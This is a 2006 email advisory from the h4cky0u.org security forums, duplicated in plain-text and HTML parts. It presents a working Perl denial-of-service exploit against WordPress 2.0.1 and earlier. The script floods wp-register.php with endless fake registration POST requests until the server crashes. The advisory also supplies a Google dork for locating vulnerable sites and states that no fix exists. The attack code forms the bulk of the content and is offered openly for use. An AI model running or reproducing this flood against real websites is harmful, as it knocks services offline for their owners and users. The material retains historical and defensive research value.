------=_Part_5949_11148151.1141837505833
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

------------------------------------------------------
      HYSA-2006-005 h4cky0u.org Advisory 014
------------------------------------------------------
Date - Wed March 08 2006


TITLE:
=3D=3D=3D=3D=3D=3D

WordPress 2.0.1 Remote DoS Exploit


SEVERITY:
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Medium


SOFTWARE:
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Wordpress 2.0.1 and prior


INFO:
=3D=3D=3D=3D=3D

WordPress is a state-of-the-art semantic personal publishing platform with =
a
focus on aesthetics, web standards, and

usability. What a mouthful. WordPress is both free and priceless at the sam=
e
time.

Support Website : http://wordpress.org/


POC:
=3D=3D=3D=3D

#!perl
#Greets to all omega-team members + h4cky0u[h4cky0u.org], lessMX6 and all
dudes from #DevilDev ;)
#The exploit was tested on 10 machines but not all got flooded.Only 6/10 go=
t
crashed

use Socket;

if (@ARGV < 2) { &usage; }

$rand=3Drand(10);
$host =3D $ARGV[0];
$dir =3D $ARGV[1];

$host =3D~ s/(http:\/\/)//eg; #no http://
for ($i=3D0;
$i<9999999999999999999999999999999999999999999999999999999999999999999999;
$i++) #0_o :)
{
$user=3D"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x66\x6f\x=
6f".$rand.$i;
#you N33d t0 be l33t t0 s33 th!S !
$data =3D "action=3Dregister&user_login=3D$user&user_email=3D$user\@
matrix.org&submit=3DRegister+%C2%BB";
$len =3D length $data;
$foo =3D "POST   ".$dir."wp-register.php HTTP/1.1\r\n".
               "Accept: */*\r\n".
               "Accept-Language: en-gb\r\n".
               "Content-Type: application/x-www-form-urlencoded\r\n".
               "Accept-Encoding: gzip, deflate\r\n".
               "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT
5.0)\r\n".
               "Host: $host\r\n".
               "Content-Length: $len\r\n".
               "Connection: Keep-Alive\r\n".
               "Cache-Control: no-cache\r\n\r\n".
 "$data";

     my $port =3D "80";
     my $proto =3D getprotobyname('tcp');
     socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
     connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
     send(SOCKET,"$foo", 0);
     syswrite STDOUT, "+";
}

#s33 if the server is down
print "\n\n";
system('ping $host');

sub usage {

print "\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y matrix_killer\n"=
;
print "\te-mail: matrix_k\@abv.bg\n";
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /wordpress/\n";
print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n";
exit();
};


FIX:
=3D=3D=3D=3D

No fix available as of date.


GOOGLEDORK:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

"Powered by WordPress"


CREDITS:
=3D=3D=3D=3D=3D=3D=3D=3D

- Exploit coded by matrix_killer of h4cky0u Security Forums

Mail : matrix_k at abv dot bg

Web : http://www.h4cky0u.org


- Co Researcher -

h4cky0u of h4cky0u Security Forums.

Mail : h4cky0u at gmail dot com

Web : http://www.h4cky0u.org


ORIGINAL ADVISORY:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

http://www.h4cky0u.org/advisories/HYSA-2006-005-wordpress.txt

--
http://www.h4cky0u.org
(In)Security at its best...

------=_Part_5949_11148151.1141837505833
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<p>------------------------------------------------------<br>&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; HYSA-2006-005 <a href=3D"http://h4cky0u.org">h4cky0u.org</=
a> Advisory 014<br>------------------------------------------------------<b=
r>Date - Wed March 08 2006
</p>
<p><br>TITLE:<br>=3D=3D=3D=3D=3D=3D</p>
<p>WordPress 2.0.1 Remote DoS Exploit</p>
<p><br>SEVERITY:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D</p>
<p>Medium</p>
<p><br>SOFTWARE:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D</p>
<p>Wordpress 2.0.1 and prior</p>
<p><br>INFO:<br>=3D=3D=3D=3D=3D</p>
<p>WordPress is a state-of-the-art semantic personal publishing platform wi=
th a focus on aesthetics, web standards, and </p>
<p>usability. What a mouthful. WordPress is both free and priceless at the =
same time.</p>
<p>Support Website : <a href=3D"http://wordpress.org/">http://wordpress.org=
/</a></p>
<p><br>POC:<br>=3D=3D=3D=3D</p>
<p>#!perl <br>#Greets to all omega-team members + h4cky0u[<a href=3D"http:/=
/h4cky0u.org">h4cky0u.org</a>], lessMX6 and all dudes from #DevilDev ;)<br>=
#The exploit was tested on 10 machines but not all got flooded.Only 6/10 go=
t crashed
</p>
<p>use Socket;</p>
<p>if (@ARGV &lt; 2) { &amp;usage; }</p>
<p>$rand=3Drand(10); <br>$host =3D $ARGV[0];<br>$dir =3D $ARGV[1]; </p>
<p>$host =3D~ s/(http:\/\/)//eg; #no http://<br>for ($i=3D0; $i&lt;99999999=
99999999999999999999999999999999999999999999999999999999999999; $i++) #0_o =
:)<br>{ <br>$user=3D&quot;\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\=
x6d\x6e\x66\x6f\x6f&quot;.$rand.$i; #you N33d t0 be l33t t0 s33 th!S !
<br>$data =3D &quot;action=3Dregister&amp;user_login=3D$user&amp;user_email=
=3D$user\@matrix.org&amp;submit=3DRegister+%C2%BB&quot;;<br>$len =3D length=
 $data; <br>$foo =3D &quot;POST&nbsp;&nbsp; &quot;.$dir.&quot;wp-register.p=
hp HTTP/1.1\r\n&quot;.
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; &quot;Accept: */*\r\n&quot;.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Accept-Langua=
ge: en-gb\r\n&quot;.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Content-Type: application/x-www-for=
m-urlencoded\r\n&quot;.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Accept-Encoding: gzip, deflate\r=
\n&quot;.
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; &quot;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows =
NT 5.0)\r\n&quot;.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Host: $host\r\n&quot;.<br>&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &=
quot;Content-Length: $len\r\n&quot;.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Connection: Keep-Al=
ive\r\n&quot;.
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; &quot;Cache-Control: no-cache\r\n\r\n&quot;.<br>&nbsp;&quot;$=
data&quot;;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; my $port =3D &quot;80&quot;;<br>&nbsp;&nbsp;&nb=
sp;&nbsp; my $proto =3D getprotobyname('tcp');<br>&nbsp;&nbsp;&nbsp;&nbsp; =
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);<br>&nbsp;&nbsp;&nbsp;&nbsp; c=
onnect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;<br>&nbsp;&nbs=
p;&nbsp;&nbsp; send(SOCKET,&quot;$foo&quot;, 0);
<br>&nbsp;&nbsp;&nbsp;&nbsp; syswrite STDOUT, &quot;+&quot;; <br>} </p>
<p>#s33 if the server is down<br>print &quot;\n\n&quot;;<br>system('ping $h=
ost');</p>
<p>sub usage {</p>
<p>print &quot;\n\t(W)ordpress 2.0.1 (R)emote (D)oS (E)xploit (B)y matrix_k=
iller\n&quot;;<br>print &quot;\te-mail: matrix_k\@abv.bg\n&quot;;<br>print =
&quot;\tusage: \n&quot;;<br>print &quot;\t$0 &lt;host&gt; &lt;/dir/&gt;\n&q=
uot;;
<br>print &quot;\tex: $0 <a href=3D"http://127.0.0.1">127.0.0.1</a> /wordpr=
ess/\n&quot;;<br>print &quot;\tex2: $0 <a href=3D"http://127.0.0.1">127.0.0=
.1</a> / (if there isn't a dir)\n&quot;;<br>exit();<br>};</p>
<p><br>FIX:<br>=3D=3D=3D=3D</p>
<p>No fix available as of date.</p>
<p><br>GOOGLEDORK:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</p>
<p>&quot;Powered by WordPress&quot; </p>
<p><br>CREDITS:<br>=3D=3D=3D=3D=3D=3D=3D=3D</p>
<p>- Exploit coded by matrix_killer of h4cky0u Security Forums</p>
<p>Mail : matrix_k at abv dot bg</p>
<p>Web : <a href=3D"http://www.h4cky0u.org/">http://www.h4cky0u.org</a></p>
<p><br>- Co Researcher -</p>
<p>h4cky0u of h4cky0u Security Forums.</p>
<p>Mail : h4cky0u at gmail dot com</p>
<p>Web : <a href=3D"http://www.h4cky0u.org/">http://www.h4cky0u.org</a></p>
<p><br>ORIGINAL ADVISORY:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D</p>
<p><a href=3D"http://www.h4cky0u.org/advisories/HYSA-2006-005-wordpress.txt=
">http://www.h4cky0u.org/advisories/HYSA-2006-005-wordpress.txt</a></p><br>=
-- <br><a href=3D"http://www.h4cky0u.org">http://www.h4cky0u.org</a><br>(In=
)Security at its best...=20

------=_Part_5949_11148151.1141837505833--